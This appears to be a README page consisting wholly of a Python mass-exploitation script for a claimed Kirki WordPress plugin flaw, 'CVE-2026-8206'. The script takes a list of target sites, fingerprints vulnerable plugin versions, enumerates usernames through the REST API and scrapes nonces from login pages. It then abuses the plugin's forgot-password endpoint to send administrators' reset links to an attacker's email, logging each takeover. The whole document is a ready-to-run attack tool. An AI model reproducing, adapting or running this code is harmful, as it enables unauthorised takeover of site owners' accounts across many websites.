README.md
Rendering markdown...
# -*- coding: utf-8 -*-
from __future__ import print_function
import re
import sys
import os
import requests
from collections import defaultdict
from concurrent.futures import ThreadPoolExecutor, as_completed
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
ATTACKER_EMAIL = "[email protected]" # PUT UR EMAIL HERE
DEFAULT_THREADS = 15
HEADERS = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive',
}
GREEN = '\033[92m'
RED = '\033[91m'
YELLOW = '\033[93m'
CYAN = '\033[96m'
RESET = '\033[0m'
BANNER = r"""
{0}╔══════════════════════════════════════════════════════════╗
║ CVE-2026-8206 - Kirki WordPress Plugin Exploit ║
║ Mass Auto-Detect Nonce & Username ║
╚══════════════════════════════════════════════════════════╝{1}
""".format(CYAN, RESET)
def normalize_url(url):
url = url.strip()
if not url.startswith(('http://', 'https://')):
url = 'https://' + url
return url.rstrip('/')
def version_tuple(v):
try:
return tuple(map(int, v.split('.')))
except:
return (0,0,0)
def detect_kirki(target):
paths = ['kirki', 'kirki-test']
for plugin_path in paths:
readme_url = target + '/wp-content/plugins/' + plugin_path + '/readme.txt'
try:
r = requests.get(readme_url, headers=HEADERS, timeout=10, verify=False)
if r.status_code == 200:
match = re.search(r'Stable tag:\s*([0-9.]+)', r.text)
if match:
version = match.group(1)
if version_tuple(version) <= (6, 0, 6):
return True, version
else:
return False, version
except:
pass
css_url = target + '/wp-content/plugins/' + plugin_path + '/assets/css/kirki.min.css'
try:
r = requests.get(css_url, headers=HEADERS, timeout=10, verify=False, allow_redirects=True)
if r.status_code == 200:
final_url = r.url
match = re.search(r'ver=([0-9.]+)', final_url)
if match:
version = match.group(1)
if version_tuple(version) <= (6, 0, 6):
return True, version
else:
return False, version
except:
pass
return False, None
def extract_nonces_from_html(html):
nonces = set()
patterns = [
r'X-WP-ELEMENT-NONCE["\']?\s*:\s*["\']([a-f0-9]{8,})',
r'nonce["\']?\s*:\s*["\']([a-f0-9]{8,})',
r'data-nonce=["\']([a-f0-9]{8,})',
r'kirki_nonce["\']?\s*:\s*["\']([a-f0-9]+)',
r'name=["\']_wpnonce["\']\s+value=["\']([a-f0-9]+)',
r'var\s+nonce\s*=\s*["\']([a-f0-9]+)',
r'kirkiCompLib\s*=\s*\{[^}]*"nonce"\s*:\s*"([a-f0-9]+)"',
r'window\.wp_kirki\s*=\s*\{[^}]*nonce\s*:\s*"([a-f0-9]+)"',
r'wp_kirki\s*=\s*\{[^}]*nonce\s*:\s*"([a-f0-9]+)"',
r'\{[^}]*"nonce"\s*:\s*"([a-f0-9]+)"',
r'<input[^>]+name=["\']_wpnonce["\'][^>]+value=["\']([a-f0-9]+)["\']',
r'<input[^>]+value=["\']([a-f0-9]+)["\'][^>]+name=["\']_wpnonce["\']',
r'<form[^>]+data-nonce=["\']([a-f0-9]+)["\']',
r'<meta[^>]+name=["\']_wpnonce["\'][^>]+content=["\']([a-f0-9]+)["\']',
r'<script[^>]*>.*?nonce\s*[:=]\s*["\']([a-f0-9]+)["\']',
r'ajax_nonce["\']?\s*:\s*["\']([a-f0-9]+)',
r'security["\']?\s*:\s*["\']([a-f0-9]+)',
r'wpApiSettings\s*=\s*\{[^}]*nonce\s*:\s*["\']([a-f0-9]+)',
r'wpRestNonce["\']?\s*:\s*["\']([a-f0-9]+)',
]
for pat in patterns:
matches = re.findall(pat, html, re.IGNORECASE | re.DOTALL)
for m in matches:
if isinstance(m, tuple):
nonce_val = m[0]
else:
nonce_val = m
if len(nonce_val) >= 8:
nonces.add(nonce_val)
return nonces
def get_all_nonces(target):
nonce_sources = []
urls_to_try = [
target + '/',
target + '/wp-login.php?action=lostpassword',
target + '/forgot-password',
target + '/reset-password',
target + '/account/lost-password/',
target + '/my-account/lost-password/',
target + '/lost-password',
target + '/members/password-reset/',
target + '/login/lost-password/',
target + '/?lostpassword=true',
target + '/wp-login.php?action=lostpassword&redirect_to=' + target,
]
for url in urls_to_try:
try:
r = requests.get(url, headers=HEADERS, timeout=10, verify=False)
if r.status_code == 200:
nonces = extract_nonces_from_html(r.text)
for n in nonces:
nonce_sources.append((n, url))
except:
continue
seen = set()
unique = []
for n, src in nonce_sources:
if n not in seen:
seen.add(n)
unique.append((n, src))
return unique
def exploit(target, username, attacker_email, nonce):
payload = {
'username': username,
'email': attacker_email,
'emailSubject': 'Password Reset',
'emailBody': '[{"type":"text","value":"Click this link to reset your password:\n"},{"type":"chip","value":"reset_link"}]'
}
headers = HEADERS.copy()
headers['X-WP-ELEMENT-NONCE'] = nonce
headers['Content-Type'] = 'application/x-www-form-urlencoded'
headers['Referer'] = target + '/'
endpoint = target + '/wp-json/KirkiComponentLibrary/v1/kirki-forgot-password'
try:
r = requests.post(endpoint, headers=headers, data=payload, timeout=15, verify=False)
if r.status_code == 200 and 'Email sent' in r.text:
return True
if 'Not authorized' in r.text or r.status_code == 400:
payload['_wpnonce'] = nonce
payload['nonce'] = nonce
r2 = requests.post(endpoint, headers=headers, data=payload, timeout=15, verify=False)
if r2.status_code == 200 and 'Email sent' in r2.text:
return True
return False
except:
return False
def get_usernames(target):
try:
r = requests.get(target + '/wp-json/wp/v2/users', headers=HEADERS, timeout=10, verify=False)
if r.status_code == 200:
users = r.json()
if users and 'slug' in users[0]:
return [user['slug'] for user in users]
except:
pass
return ['admin']
def worker(target, attacker_email):
target = normalize_url(target)
print("\n{}[+] Processing: {}{}".format(YELLOW, target, RESET))
is_vuln, version = detect_kirki(target)
if not is_vuln:
if version:
print(" {}[-] Kirki version {} (not vulnerable), skipping.{}".format(RED, version, RESET))
else:
print(" {}[-] Kirki plugin not detected, skipping.{}".format(RED, RESET))
return
else:
print(" {}[✓] Vulnerable Kirki version {} detected.{}".format(GREEN, version, RESET))
usernames = get_usernames(target)
username = usernames[0]
print(" {}[*] Username: {}{}".format(CYAN, username, RESET))
nonce_list = get_all_nonces(target)
if not nonce_list:
print(" {}[-] No nonces found, skipping.{}".format(RED, target, RESET))
return
grouped = defaultdict(list)
for n, src in nonce_list:
grouped[src].append(n)
print(" {}[*] Total unique nonces: {}{}".format(CYAN, len(nonce_list), RESET))
for src, nonces in grouped.items():
print(" nonce from {} => {}".format(src, len(nonces)))
for nonce, src in nonce_list:
sys.stdout.write(" {}[*] Testing nonce {} ...{}".format(YELLOW, nonce, RESET))
sys.stdout.flush()
if exploit(target, username, attacker_email, nonce):
print(" {}VALID{}".format(GREEN, RESET))
print(" {}[VALID] {} | {} (nonce: {}){}{}".format(GREEN, target, username, nonce, RESET))
with open('res.txt', 'a') as f:
f.write("{}|{}|{}|reset_link_sent_to_attacker_email\n".format(target, username, attacker_email))
return
else:
print(" {}FAILED{}".format(RED, RESET))
print(" {}[-] No valid nonce for {}{}".format(RED, target, RESET))
def main():
print(BANNER)
if len(sys.argv) < 2:
print("{}[ERROR] Missing target file!{}".format(RED, RESET))
print("\nUsage: {} <targets_file> [threads]".format(sys.argv[0]))
print("Example: {} list.txt 20".format(sys.argv[0]))
print("Threads default: {}\n".format(DEFAULT_THREADS))
sys.exit(1)
target_file = sys.argv[1]
if not os.path.isfile(target_file):
print("{}[ERROR] File '{}' not found!{}".format(RED, target_file, RESET))
sys.exit(1)
threads = DEFAULT_THREADS
if len(sys.argv) > 2:
try:
threads = int(sys.argv[2])
if threads <= 0:
print("{}[ERROR] Threads must be a positive integer!{}".format(RED, RESET))
sys.exit(1)
except ValueError:
print("{}[ERROR] Invalid threads value: '{}' (must be a number){}".format(RED, sys.argv[2], RESET))
sys.exit(1)
try:
with open(target_file, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
except IOError:
print("{}[ERROR] Cannot read file {}!{}".format(RED, target_file, RESET))
sys.exit(1)
if not targets:
print("{}[ERROR] No targets found in file!{}".format(RED, RESET))
sys.exit(1)
print("{}[INFO] Targets: {}, Threads: {}, Email: {}{}".format(YELLOW, len(targets), threads, ATTACKER_EMAIL, RESET))
open('res.txt', 'w').close()
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = {executor.submit(worker, t, ATTACKER_EMAIL): t for t in targets}
for future in as_completed(futures):
try:
future.result()
except Exception as e:
target = futures[future]
print("{}[ERROR] {} -> {}{}".format(RED, target, str(e), RESET))
print("\n{}[DONE] Results saved to res.txt{}".format(GREEN, RESET))
if __name__ == '__main__':
main()